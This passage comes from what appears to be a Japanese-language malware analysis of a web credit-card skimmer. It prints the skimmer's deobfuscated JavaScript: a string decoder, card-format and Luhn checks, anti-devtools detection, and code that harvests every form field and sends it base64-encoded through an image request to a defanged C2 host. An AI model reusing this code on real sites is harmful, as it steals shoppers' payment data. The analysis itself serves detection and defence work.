decodeURIComponent(r)\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0};\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0l[\"giOUOg\"] = {};\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0l[\"HwWGHQ\"] = !![]\r\n\u00a0\u00a0\u00a0}\r\n\u00a0\u00a0\u00a0var n = l[\"giOUOg\"][t];\r\n\u00a0\u00a0\u00a0if (n === undefined) {\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0i = l[\"lGbxnk\"](i);\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0l[\"giOUOg\"][t] = i\r\n\u00a0\u00a0\u00a0} else {\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0i = n\r\n\u00a0\u00a0\u00a0}\r\n\u00a0\u00a0\u00a0return i\r\n};<\/pre>\n<p><!-- [Format Time: 0.0059 seconds] --><\/p>\n<p>\u30d1\u30fc\u30c81\u306e\u30b3\u30fc\u30c9\u306f\u3001\u6587\u5b57\u5217\u306e\u914d\u5217 <span style=\"font-family: 'courier new', courier, monospace;\">u<\/span> \u306e\u5fa9\u53f7\u306b\u4f7f\u7528\u3055\u308c\u308b\u3082\u306e\u3067\u3001\u5fa9\u53f7\u95a2\u6570\u306f <span style=\"font-family: 'courier new', courier, monospace;\">l<\/span> \u3067\u3059\u3002<\/p>\n<p>\u5fa9\u53f7\u3059\u308b\u3068\u3001\u4ee5\u4e0b\u306e\u5e73\u6587\u306e\u914d\u5217\u3092\u5f97\u3089\u308c\u307e\u3059\u3002\u305f\u3068\u3048\u3070 <span style=\"font-family: 'courier new', courier, monospace;\">l<\/span><span style=\"font-family: 'courier new', courier, monospace;\">(0x1<\/span>)\u306f\u6587\u5b57\u5217\u300c<span style=\"font-family: 'courier new', courier, monospace;\">test<\/span>\u300d\u3067\u3059\u3002<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta --><\/p>\n<pre class=\"lang:default decode:true\">0 \"replace\"\r\n1 \"test\"\r\n2 \"length\"\r\n3 \"charAt\"\r\n4 \"isOpen\"\r\n5 \"orientation\"\r\n6 \"dispatchEvent\"\r\n7 \"outerWidth\"\r\n8 \"innerWidth\"\r\n9 \"outerHeight\"\r\n10 \"innerHeight\"\r\n11 \"vertical\"\r\n12 \"horizontal\"\r\n13 \"Firebug\"\r\n14 \"chrome\"\r\n15 \"isInitialized\"\r\n16 \"undefined\"\r\n17 \"exports\"\r\n18 \"devtools\"\r\n19 \"hashCode\"\r\n20 \"charCodeAt\"\r\n21 \"Gate\"\r\n22 \"Data\"\r\n23 \"SaveParam\"\r\n24 \"SaveAllFields\"\r\n25 \"input\"\r\n26 \"select\"\r\n27 \"textarea\"\r\n28 \"SendData\"\r\n29 \"TrySend\"\r\n30 \"IMG\"\r\n31 \"GetImageUrl\"\r\n32 \"?reff=\"\r\n33 \"onreadystatechange\"\r\n34 \"readyState\"\r\n35 \"complete\"\r\n36 \"setInterval\"<\/pre>\n<p><!-- [Format Time: 0.0009 seconds] --><\/p>\n<h3>\u30b9\u30ad\u30de\u30fc\u30b3\u30fc\u30c9 \u30d1\u30fc\u30c82<\/h3>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta --><\/p>\n<pre class=\"lang:default decode:true\">function c(e, t, r) {\r\n\u00a0\u00a0\u00a0return e[l(\"0x0\")](new RegExp(t, \"g\"), r)\r\n}\r\n\u200b\r\nfunction d(e) {\r\n\u00a0\u00a0\u00a0var t = \/^(?:4[0-9]{12}(?:[0-9]{3})?)$\/;\r\n\u00a0\u00a0\u00a0var r = \/^(?:5[1-5][0-9]{14})$\/;\r\n\u00a0\u00a0\u00a0var i = \/^(?:3[47][0-9]{13})$\/;\r\n\u00a0\u00a0\u00a0var n = \/^(?:6(?:011|5[0-9][0-9])[0-9]{12})$\/;\r\n\u00a0\u00a0\u00a0var a = ![];\r\n\u00a0\u00a0\u00a0if (t[\"test\"](e)) {\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0a = !![]\r\n\u00a0\u00a0\u00a0} else if (r[l(\"0x1\")](e)) {\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0a = !![]\r\n\u00a0\u00a0\u00a0} else if (i[l(\"0x1\")](e)) {\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0a = !![]\r\n\u00a0\u00a0\u00a0} else if (n[l(\"0x1\")](e)) {\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0a = !![]\r\n\u00a0\u00a0\u00a0}\r\n\u00a0\u00a0\u00a0return a\r\n}\r\n\r\nfunction f(e) {\r\n\u00a0\u00a0\u00a0if (\/[^0-9-\\s]+\/ [\"test\"](e)) return ![];\r\n\u00a0\u00a0\u00a0var t = 0,\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0r = 0,\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0i = ![];\r\n\u00a0\u00a0\u00a0e = e[l(\"0x0\")](\/\\D\/g, \"\");\r\n\u00a0\u00a0\u00a0for (var n = e[l(\"0x2\")] - 1; n &gt;= 0; n--) {\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0var a = e[l(\"0x3\")](n),\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0r = parseInt(a, 10);\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if (i) {\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if ((r *= 2) &gt; 9) r -= 9\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0}\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0t += r;\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0i = !i\r\n\u00a0\u00a0\u00a0}\r\n\u00a0\u00a0\u00a0return t % 10 == 0\r\n}<\/pre>\n<p><!-- [Format Time: 0.0037 seconds] --><\/p>\n<p>\u30d1\u30fc\u30c82\u3067\u306f\u95a2\u6570\u30923\u3064\u5b9a\u7fa9\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<ol>\n<li>\u95a2\u6570<span style=\"font-family: 'courier new', courier, monospace;\">c<\/span>\u306f\u3001\u6587\u5b57\u5217\u3092\u6b63\u898f\u8868\u73fe\u30d1\u30bf\u30fc\u30f3\u3067\u7f6e\u304d\u63db\u3048\u308b\u305f\u3081\u306b\u4f7f\u7528\u3055\u308c\u307e\u3059\u3002<\/li>\n<li>\u95a2\u6570<span style=\"font-family: 'courier new', courier, monospace;\">d<\/span>\u306f\u3001\u6587\u5b57\u5217\u304c\u30af\u30ec\u30b8\u30c3\u30c8\u30ab\u30fc\u30c9\u306e\u30d1\u30bf\u30fc\u30f3\u306b\u4e00\u81f4\u3059\u308b\u304b\u3069\u3046\u304b\u3092\u691c\u8a3c\u3059\u308b\u305f\u3081\u306b\u4f7f\u7528\u3055\u308c\u307e\u3059\u3002\u3053\u308c\u306f4\u3064\u306e\u6b63\u898f\u8868\u73fe\u30d1\u30bf\u30fc\u30f3\u3092\u4f7f\u7528\u3057\u3066\u3044\u308b\u3053\u3068\u304c\u308f\u304b\u308a\u307e\u3059\u3002<\/li>\n<li>\u95a2\u6570<span style=\"font-family: 'courier new', courier, monospace;\">f<\/span>\u306f\u3001\u30af\u30ec\u30b8\u30c3\u30c8\u30ab\u30fc\u30c9\u306e\u756a\u53f7\u3092<a href=\"https:\/\/ja.wikipedia.org\/wiki\/Luhn%E3%82%A2%E3%83%AB%E3%82%B4%E3%83%AA%E3%82%BA%E3%83%A0\">Luhn\u30a2\u30eb\u30b4\u30ea\u30ba\u30e0<\/a>\u3067\u691c\u8a3c\u3059\u308b\u305f\u3081\u306b\u4f7f\u7528\u3055\u308c\u307e\u3059\u3002<\/li>\n<\/ol>\n<h3>\u30b9\u30ad\u30de\u30fc\u30b3\u30fc\u30c9 \u30d1\u30fc\u30c83<\/h3>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta --><\/p>\n<pre class=\"lang:default decode:true\">(function() {\r\n\u00a0\u00a0\u00a0\u00a0\"use strict\";\r\n\u00a0\u00a0\u00a0\u00a0const t = {};\r\n\u00a0\u00a0\u00a0\u00a0t[l(\"0x4\")] = ![];\r\n\u00a0\u00a0\u00a0\u00a0t[l(\"0x5\")] = undefined;\r\n\u00a0\u00a0\u00a0\u00a0const r = 160;\r\n\u00a0\u00a0\u00a0\u00a0const i = (t, r) =&gt; {\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0e[l(\"0x6\")](new CustomEvent(\"devtoolschange\", {\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0detail: {\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0isOpen: t,\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0orientation: r\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0}\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0}))\r\n\u00a0\u00a0\u00a0\u00a0};\r\n\u00a0\u00a0\u00a0\u00a0setInterval(() =&gt; {\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0const n = e[l(\"0x7\")] - e[l(\"0x8\")] &gt; r;\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0const a = e[l(\"0x9\")] - e[l(\"0xa\")] &gt; r;\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0const s = n ?l(\"0xb\") : l(\"0xc\");\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if (!(a &amp;&amp; n) &amp;&amp; (e[l(\"0xd\")] &amp;&amp; e[\"Firebug\"][l(\"0xe\")] &amp;&amp; e[l(\"0xd\")][\"chrome\"][l(\"0xf\")] || n || a)) {\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if (!t[\"isOpen\"] || t[l(\"0x5\")] !== s) {\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0i(!![], s)\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0}\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0t[\"isOpen\"] = !![];\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0t[\"orientation\"] = s\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0} else {\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if (t[l(\"0x4\")]) {\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0i(![], undefined)\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0}\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0t[\"isOpen\"] = ![];\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0t[l(\"0x5\")] = undefined\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0}\r\n\u00a0\u00a0\u00a0\u00a0}, 500);\r\n\u00a0\u00a0\u00a0\u00a0if (typeof module !== l(\"0x10\") &amp;&amp; module[l(\"0x11\")]) {\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0module[l(\"0x11\")] = t\r\n\u00a0\u00a0\u00a0\u00a0} else {\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0e[l(\"0x12\")] = t\r\n\u00a0\u00a0\u00a0\u00a0}\r\n})();<\/pre>\n<p><!-- [Format Time: 0.0038 seconds] --><\/p>\n<p>\u30d1\u30fc\u30c83\u306f\u3001\u30a2\u30f3\u30c1\u30c7\u30d0\u30c3\u30b0\u30b3\u30fc\u30c9\u3067\u3059\u3002\u5fa9\u53f7\u3059\u308b\u3068\u4ee5\u4e0b\u306e\u3088\u3046\u306b\u306a\u308a\u307e\u3059\u3002<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta --><\/p>\n<pre class=\"lang:default decode:true\">var e = {\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0open: !1,\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0orientation: null\r\n};\r\nn = 160,\r\no = function(e, n) {\r\nwindow.dispatchEvent(new CustomEvent(\"devtoolschange\", {\r\ndetail: {\r\nopen: e,\r\norientation: n\r\n}\r\n}))\r\n};\r\nsetInterval(function() {\r\nvar t = window.outerWidth - window.innerWidth &gt; n,\r\ni = window.outerHeight - window.innerHeight &gt; n,\r\nd = t ?\"vertical\" : \"horizontal\";\r\ni &amp;&amp; t || !(window.Firebug &amp;&amp; window.Firebug.chrome &amp;&amp; window.Firebug.chrome.isInitialized || t || i) ?(e.open &amp;&amp; o(!1, null), e.open = !1, e.orientation = null) : (e.open &amp;&amp; e.orientation === d || o(!0, d), e.open = !0, e.orientation = d)\r\n}, 500)\r\n\"undefined\" != typeof module &amp;&amp; module.exports ?module.exports = e : window.devtools = e<\/pre>\n<p><!-- [Format Time: 0.0020 seconds] --><\/p>\n<p>\u57fa\u672c\u7684\u306b\u306f\u3001<span style=\"font-family: 'courier new', courier, monospace;\">window.Firebug<\/span>\u3001<span style=\"font-family: 'courier new', courier, monospace;\">window.Firebug.chrome<\/span>\u3001<span style=\"font-family: 'courier new', courier, monospace;\">window.Firebug.chrome.isInitialized<\/span>\u306e\u5404\u5909\u6570\u304c\u5b58\u5728\u3059\u308b\u304b\u3069\u3046\u304b\u3092\u30c1\u30a7\u30c3\u30af\u3057\u307e\u3059\u3002\u307e\u305f\u3001<span style=\"font-family: 'courier new', courier, monospace;\">devtoolschange<\/span>\u30e1\u30c3\u30bb\u30fc\u30b8\u3092\u9001\u4fe1\u3057\u3001Chrome\u30b3\u30f3\u30bd\u30fc\u30eb\u304c\u958b\u304b\u308c\u3066\u3044\u308b\u304b\u3069\u3046\u304b\u3092\u30c1\u30a7\u30c3\u30af\u3057\u307e\u3059\u3002<\/p>\n<h3>\u30b9\u30ad\u30de\u30fc\u30b3\u30fc\u30c9 \u30d1\u30fc\u30c84<\/h3>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta --><\/p>\n<pre class=\"lang:default decode:true\">String[\"prototype\"][l(\"0x13\")] = function() {\r\nString[\"prototype\"][l(\"0x13\")] = function() {\r\n\u00a0\u00a0\u00a0\u00a0var e = 0,\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0t, r;\r\n\u00a0\u00a0\u00a0\u00a0if (this[l(\"0x2\")] === 0) return e;\r\n\u00a0\u00a0\u00a0\u00a0for (t = 0; t &lt; this[l(\"0x2\")]; t++) {\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0r = this[l(\"0x14\")](t);\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0e = (e &lt;&lt; 5) - e + r;\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0e |= 0\r\n\u00a0\u00a0\u00a0\u00a0}\r\n\u00a0\u00a0\u00a0\u00a0return e\r\n};\r\n\r\nvar h = {};\r\nh[l(\"0x15\")] = \"https:\/\/cdn-imgcloud[.]com\/img\";\r\nh[l(\"0x16\")] = {};\r\nh[\"Sent\"] = [];\r\nh[\"IsValid\"] = ![];\r\nh[l(\"0x17\")] = function(e) {\r\n\u00a0\u00a0\u00a0\u00a0if (e.id !== undefined &amp;&amp; e.id != \"\" &amp;&amp; e.id !== null &amp;&amp; e.value.length &lt; 256 &amp;&amp; e.value.length &gt; 0) {\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if (f(c(c(e.value, \"-\", \"\"), \" \", \"\")) &amp;&amp; d(c(c(e.value, \"-\", \"\"), \" \", \"\"))) h.IsValid = !![];\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0h.Data[e.id] = e.value;\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return\r\n\u00a0\u00a0\u00a0\u00a0}\r\n\u00a0\u00a0\u00a0\u00a0if (e.name !== undefined &amp;&amp; e.name != \"\" &amp;&amp; e.name !== null &amp;&amp; e.value.length &lt; 256 &amp;&amp; e.value.length &gt; 0) {\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if (f(c(c(e.value, \"-\", \"\"), \" \", \"\")) &amp;&amp; d(c(c(e.value, \"-\", \"\"), \" \", \"\"))) h.IsValid = !![];\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0h.Data[e.name] = e.value;\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return\r\n\u00a0\u00a0\u00a0\u00a0}\r\n};\r\nh[l(\"0x18\")] = function() {\r\n\u00a0\u00a0\u00a0\u00a0var e = t.getElementsByTagName(l(\"0x19\"));\r\n\u00a0\u00a0\u00a0\u00a0var r = t.getElementsByTagName(l(\"0x1a\"));\r\n\u00a0\u00a0\u00a0\u00a0var i = t.getElementsByTagName(l(\"0x1b\"));\r\n\u00a0\u00a0\u00a0\u00a0for (var n = 0; n &lt; e.length; n++) h.SaveParam(e[n]);\r\n\u00a0\u00a0\u00a0\u00a0for (var n = 0; n &lt; r.length; n++) h.SaveParam(r[n]);\r\n\u00a0\u00a0\u00a0\u00a0for (var n = 0; n &lt; i.length; n++) h.SaveParam(i[n])\r\n};\r\nh[l(\"0x1c\")] = function() {\r\n\u00a0\u00a0\u00a0\u00a0if (!e.devtools.isOpen &amp;&amp; h.IsValid) {\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0h.Data[\"Domain\"] = location.hostname;\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0var t = encodeURIComponent(e.btoa(JSON.stringify(h.Data)));\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0var r = t.hashCode();\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0for (var i = 0; i &lt; h.Sent.length; i++)\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if (h.Sent[i] == r) return;\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0h.LoadImage(t)\r\n\u00a0\u00a0\u00a0\u00a0}\r\n};\r\nh[l(\"0x1d\")] = function() {\r\n\u00a0\u00a0\u00a0\u00a0h.SaveAllFields();\r\n\u00a0\u00a0\u00a0\u00a0h.SendData()\r\n};\r\nh[\"LoadImage\"] = function(e) {\r\n\u00a0\u00a0\u00a0\u00a0h.Sent.push(e.hashCode());\r\n\u00a0\u00a0\u00a0\u00a0var r = t.createElement(l(\"0x1e\"));\r\n\u00a0\u00a0\u00a0\u00a0r.src = h.GetImageUrl(e)\r\n};\r\nh[l(\"0x1f\")] = function(e) {\r\n\u00a0\u00a0\u00a0\u00a0return h.Gate + l(\"0x20\") + e\r\n};\r\nt[l(\"0x21\")] = function() {\r\n\u00a0\u00a0\u00a0\u00a0if (t[l(\"0x22\")] === l(\"0x23\")) {\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0e[l(\"0x24\")](h[l(\"0x1d\")], 500)\r\n\u00a0\u00a0\u00a0\u00a0}\r\n};<\/pre>\n<p><!-- [Format Time: 0.0067 seconds] --><\/p>\n<p>\u5fa9\u53f7\u5f8c\u306e\u30b3\u30fc\u30c9\u30b5\u30f3\u30d7\u30eb\u306f\u975e\u5e38\u306b\u308f\u304b\u308a\u3084\u3059\u3044\u3082\u306e\u3067\u3059\u3002\u3053\u308c\u3089\u306e\u30b3\u30fc\u30c9\u30b9\u30cb\u30da\u30c3\u30c8\u304c\u4f55\u3092\u3059\u308b\u306e\u304b\u898b\u3066\u307f\u307e\u3057\u3087\u3046\u3002<\/p>\n<p>\u4ee5\u4e0b\u306e\u30b3\u30fc\u30c9\u306f\u3001\u30af\u30ec\u30b8\u30c3\u30c8\u30ab\u30fc\u30c9\u30b3\u30f3\u30c6\u30f3\u30c4\u306e\u6697\u53f7\u5316\u306b\u4f7f\u7528\u3055\u308c\u308b<span style=\"font-family: 'courier new', courier, monospace;\">hashCode<\/span>\u95a2\u6570\u3092\u5b9a\u7fa9\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<h3>\u30b3\u30fc\u30c9\u89e3\u6790<\/h3>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta --><\/p>\n<pre class=\"lang:default decode:true\">\/\/ l[\"0x13\"] == \"hashCode\", so\r\n\/\/ l[\"0x13\"] == \"hashCode\"\r\nString[\"prototype\"][\"0x13\"] = function() {\r\n\u00a0\u00a0\u00a0\u00a0var e = 0,\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0t, r;\r\n\u00a0\u00a0\u00a0\u00a0if (this[l(\"0x2\")] === 0) return e;\r\n\u00a0\u00a0\u00a0\u00a0for (t = 0; t &lt; this[l(\"0x2\")]; t++) {\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0r = this[l(\"0x14\")](t);\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0e = (e &lt;&lt; 5) - e + r;\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0e |= 0\r\n\u00a0\u00a0\u00a0\u00a0}\r\n\u00a0\u00a0\u00a0\u00a0return e\r\n};<\/pre>\n<p><!-- [Format Time: 0.0010 seconds] --><\/p>\n<p>\u4ee5\u4e0b\u306e\u30b3\u30fc\u30c9\u3067\u306f\u3001\u5909\u6570<span style=\"font-family: 'courier new', courier, monospace;\">Gate<\/span>\u3068\u5909\u6570<span style=\"font-family: 'courier new', courier, monospace;\">Data<\/span>\u3092\u5b9a\u7fa9\u3057\u3066\u3044\u307e\u3059\u3002\u5909\u6570<span style=\"font-family: 'courier new', courier, monospace;\">Data<\/span>\u306b\u306f\u30af\u30ec\u30b8\u30c3\u30c8\u30ab\u30fc\u30c9\u60c5\u5831\u304c\u3001\u5909\u6570<span style=\"font-family: 'courier new', courier, monospace;\">Gate<\/span>\u306b\u306fC2\u30b5\u30fc\u30d0\u30fc\u304c\u4fdd\u5b58\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta --><\/p>\n<pre class=\"lang:default decode:true\">var h = {};\r\nh[l(\"0x15\")] = \"https:\/\/cdn-imgcloud[.]com\/img\"; \/\/l(\"0x15\") is \"Gate\" string\r\nh[l(\"0x16\")] = {}; \/\/ l(\"0x16\") is string \"Data\"\r\nh[\"Sent\"] = [];\r\nh[\"IsValid\"] = ![];<\/pre>\n<p><!-- [Format Time: 0.0004 seconds] --><\/p>\n<p>\u4ee5\u4e0b\u306e\u30b3\u30fc\u30c9\u30b5\u30f3\u30d7\u30eb\u304b\u3089\u306f\u30b9\u30ad\u30de\u30fc\u304c\u3069\u306e\u3088\u3046\u306b\u30af\u30ec\u30b8\u30c3\u30c8\u30ab\u30fc\u30c9\u60c5\u5831\u3092\u7a83\u53d6\u30fb\u9001\u4fe1\u3057\u3066\u3044\u308b\u304b\u304c\u660e\u3089\u304b\u306b\u306a\u308a\u307e\u3059\u3002\u3053\u3053\u3067\u306f\u305d\u306e\u30d7\u30ed\u30bb\u30b9\u3092\u4ee5\u4e0b\u306e\u30b9\u30c6\u30c3\u30d7\u306b\u5206\u3051\u307e\u3057\u305f\u3002<\/p>\n<p>1. \u307e\u305a <span style=\"font-family: 'courier new', courier, monospace;\">onreadystatechange<\/span>\u3092\u4f7f\u3063\u3066\u3001\u30da\u30fc\u30b8\u306e\u8aad\u307f\u8fbc\u307f\u304c\u5b8c\u4e86\u3057\u305f\u304b\u3069\u3046\u304b\u3092\u78ba\u8a8d\u3057\u307e\u3059\u3002\u305d\u306e\u5f8c\u3001<span style=\"font-family: 'courier new', courier, monospace;\">TrySend<\/span>\u95a2\u6570\u3092\u547c\u3073\u51fa\u3057\u307e\u3059\u3002<\/p>\n<p>2. <span style=\"font-family: 'courier new', courier, monospace;\">TrySend<\/span>\u95a2\u6570\u306f\u3001<span style=\"font-family: 'courier new', courier, monospace;\">SaveAllFields<\/span>\u95a2\u6570\u3092\u547c\u3073\u51fa\u3057\u3066\u3001HTML\u30c9\u30ad\u30e5\u30e1\u30f3\u30c8\u304b\u3089\u540d\u524d\u3084\u30e1\u30fc\u30eb\u30a2\u30c9\u30ec\u30b9\u306a\u3069\u306e\u9867\u5ba2\u306b\u3088\u308b\u5165\u529b\u60c5\u5831\u3092\u8aad\u307f\u53d6\u308a\u3001<span style=\"font-family: 'courier new', courier, monospace;\">SaveParam<\/span>\u3092\u547c\u3073\u51fa\u3057\u3066\u3001\u305d\u306e\u30c7\u30fc\u30bf\u304c\u6709\u52b9\u304b\u3069\u3046\u304b\u3092\u30c1\u30a7\u30c3\u30af\u3057\u307e\u3059\u3002\u6709\u52b9\u3067\u3042\u308c\u3070\u3001\u3053\u306e\u60c5\u5831\u3092<span style=\"font-family: 'courier new', courier, monospace;\">Data<\/span>\u5909\u6570\u306b\u4fdd\u5b58\u3057\u307e\u3059\u3002<\/p>\n<p>3. \u6b21\u306b<span style=\"font-family: 'courier new', courier, monospace;\">TrySend<\/span>\u95a2\u6570\u306f<span style=\"font-family: 'courier new', courier, monospace;\">SendData<\/span>\u95a2\u6570\u3092\u547c\u3073\u51fa\u3057\u3066\u30c7\u30fc\u30bf\u3092\u9001\u4fe1\u3057\u307e\u3059\u3002<span style=\"font-family: 'courier new', courier, monospace;\">SendData<\/span>\u95a2\u6570\u306f<span style=\"font-family: 'courier new', courier, monospace;\">LoadImage<\/span>\u95a2\u6570\u3092\u547c\u3073\u51fa\u3057\u3066<span style=\"font-family: 'courier new', courier, monospace;\">&lt;img&gt;<\/span>HTML\u30bf\u30b0\u3092\u4f5c\u6210\u3057\u3001\u3053\u306e\u753b\u50cf\u306esrc\u3068\u3057\u3066C2\u306eURL\u3092\u8a2d\u5b9a\u3057\u307e\u3059\u3002<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta --><\/p>\n<pre class=\"lang:default decode:true\"> \/\/l(\"0x17\") is string \"SaveParam\"\r\n\u00a0h[\"SaveParam\"]: function(elem) {\r\n\u00a0\u00a0\u00a0\u00a0if (e.id !== undefined &amp;&amp; e.id != \"\" &amp;&amp; e.id !== null &amp;&amp; e.value.length &lt; 256 &amp;&amp; e.value.length &gt; 0) {\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if (f(c(c(e.value, \"-\", \"\"), \" \", \"\")) &amp;&amp; d(c(c(e.value, \"-\", \"\"), \" \", \"\"))) h.IsValid = !![];\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0h.Data[e.id] = e.value;\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return\r\n\u00a0\u00a0\u00a0\u00a0}\r\n\u00a0\u00a0\u00a0\u00a0if (e.name !== undefined &amp;&amp; e.name != \"\" &amp;&amp; e.name !== null &amp;&amp; e.value.length &lt; 256 &amp;&amp; e.value.length &gt; 0) {\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0if (f(c(c(e.value, \"-\", \"\"), \" \", \"\")) &amp;&amp; d(c(c(e.value, \"-\", \"\"), \" \", \"\"))) h.IsValid = !![];\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0h.Data[e.name] = e.value;\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0return\r\n\u00a0\u00a0\u00a0\u00a0}\r\n}\r\n\r\n\/\/ l(\"0x18\") is string \"SaveAllFields\"\r\nh[\"SaveAllFields\"]: function() {\r\n\u00a0\u00a0\u00a0\u00a0\u00a0var inputs = document.getElementsByTagName(\"input\");\r\n\u00a0\u00a0\u00a0\u00a0\u00a0var selects = document.getElementsByTagName(\"select\");\r\n\u00a0\u00a0\u00a0\u00a0\u00a0var textareas = document.getElementsByTagName(\"textarea\");\r\n\u00a0\u00a0\u00a0\u00a0\u00a0for(var i = 0; i &lt; inputs.length; i++) 